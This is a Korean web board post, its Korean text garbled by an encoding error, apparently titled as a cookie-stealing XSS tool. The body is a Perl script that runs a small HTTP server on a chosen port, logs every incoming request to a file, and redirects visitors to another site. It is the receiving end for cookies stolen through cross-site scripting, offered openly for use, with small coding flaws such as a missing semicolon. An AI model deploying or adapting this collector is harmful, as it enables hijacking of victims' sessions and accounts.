BACKRUSH  À¯´Ð½º¸í·É  ´ÙÀ½  ÀÚ·á½Ç  Ascii Table   ¿ø°ÝÁ¢¼Ó  ´Þ·Â,½Ã°£   ÇÁ·Î¼¼½º   ½©
ÁöÇÏö³ë¼±   RFC¹®¼­   SUN FAQ   SUN FAQ1   C¸Þ´º¾ó   PHP¸Þ´º¾ó   ³Ê±¸¸®   ¾Æ½ºÅ°¿ùµå ¾ÆÀÌÇǼ­Ä¡

±Û¾´ÀÌ: ÄíÅ° ÄíÅ°ÈÉÄ¡±â[XSS] Á¶È¸¼ö: 9002


#!/usr/bin/perl
#
# mat@monkey.org
# 2002.7.27

my $debug=1;

printf "Starting log_request...\r\n";
printf " <mat\@monkey.org>\r\n";

my $http_moved_response_header="HTTP/1.1 301 Moved\r\nServer: Apache/1.3.9 (Unix) Debian\/GNU\r\nAccept-Ranges: bytes\r\nConnection: close\r\nLocation: %s\r\nContent-Type: text\/html; charset=iso-8859-1\r\n\r\n";

my $http_response_header="HTTP/1.1 200 OK\r\nServer: Apache/1.3.9 (Unix) Debian\/GNU\r\nAccept-Ranges: bytes\r\nConnection: close\r\nContent-Type: text\/html; charset=iso-8859-1\r\n\r\n";

my $target_message="<html>
<body>
</body>
</html>";

require 5.002;
use Socket;
use Carp;

sub spawn;

my $port=8020;
if($ARGV[0] ne "")
{
$port=$ARGV[0];
}
my $redirection_page="http://www.yahoo.co.kr";
if($ARGV[1] ne "")
{
$redirection_page=$ARGV[1];
}

my $proto=getprotobyname('tcp');

socket(Server,PF_INET,SOCK_STREAM,$proto) || die "socket: $!";
setsockopt(Server,SOL_SOCKET,SO_REUSEADDR,pack("l",1)) || die "setsockopt: $!";
bind(Server,sockaddr_in($port,INADDR_ANY)) || die "bind: $!";
listen(Server,SOMAXCONN) || die "listen: $!";

printf "Listening on $port...\n";
printf "Redirecting to $redirection_page\n";
my $waitedpid=0;
my $paddr;

sub REAPER {
$waitedpid=wait;
$SIG{CHLD}=\&REAPER;
}
$SIG{CHLD}=\&REAPER;

my $logfile="log_request_log.txt";
open(LOGFILE,">>$logfile") || die "open failed [$logfile]\n"
for($waitedpid=0;($paddr=accept(Client,Server))||$waitedpid;$waitedpid=0,close Client)
{
next if $waitedpid and not $paddr;
my ($port,$iaddr)=sockaddr_in($paddr);
my $addr_str=inet_ntoa($iaddr);
my $name=gethostbyaddr($iaddr,AF_INET);
if($debug>0)
{
printf "got connection: $name: $addr_str\n";
}

printf LOGFILE "From: $addr_str\n";

my $os_code="";
my $ie_code="";
spawn sub
{
{
while(<STDIN>)
{
if($debug>0)
{
print STDERR $_;
}
print LOGFILE $_;
if(/^\r\n$/)
{
last;
}
} #while(<STDIN>)
my $mon_body_message="";
my $mon_body_file="/var/www/mon.html";
if(open(MON_BODY,"<$mon_body_file"))
{
my @lines=<MON_BODY>;
$mon_body_message=join ' ',@lines;
close(MON_BODY);
}
my $target_message_to_send="$http_response_header$mon_body_message";
my $target_message_to_send=sprintf $http_moved_response_header,"$redirection_page";
if($debug>2)
{
printf STDERR $target_message_to_send;
}
print $target_message_to_send;
close(STDIN);
}
}
}

sub spawn {
my $coderef=shift;
unless(@_ == 0 && $coderef && ref($coderef) eq 'CODE'){
printf "what the hell??\n";
confess "usage: spawn CODEREF";
}
my $pid;
if(!defined($pid=fork)){
return;
}elsif($pid)
{
return; #parent
}
#child
open(STDIN,"<&Client") || die "can't dup client to stdin";
open(STDOUT,">&Client") || die "can't dup client to stdout";
system "play RA.wav";
exit &$coderef();}

°ü·Ã±Û : ¾øÀ½ ±Û¾´½Ã°£ : 2005/12/12 10:35 from 218.38.148.205

  shellÄÚµå[¼Ö¶ó¼Ö¶ó] ¸ñ·Ïº¸±â »õ±Û ¾²±â Áö¿ì±â ÀÀ´ä±Û ¾²±â ±Û ¼öÁ¤ perl backshell  
BACKRUSH  À¯´Ð½º¸í·É  ´ÙÀ½  ÀÚ·á½Ç  Ascii Table   ¿ø°ÝÁ¢¼Ó  ´Þ·Â,½Ã°£   ÇÁ·Î¼¼½º   ½©
ÁöÇÏö³ë¼±   RFC¹®¼­   SUN FAQ   SUN FAQ1   C¸Þ´º¾ó   PHP¸Þ´º¾ó   ³Ê±¸¸®   ¾Æ½ºÅ°¿ùµå ¾ÆÀÌÇǼ­Ä¡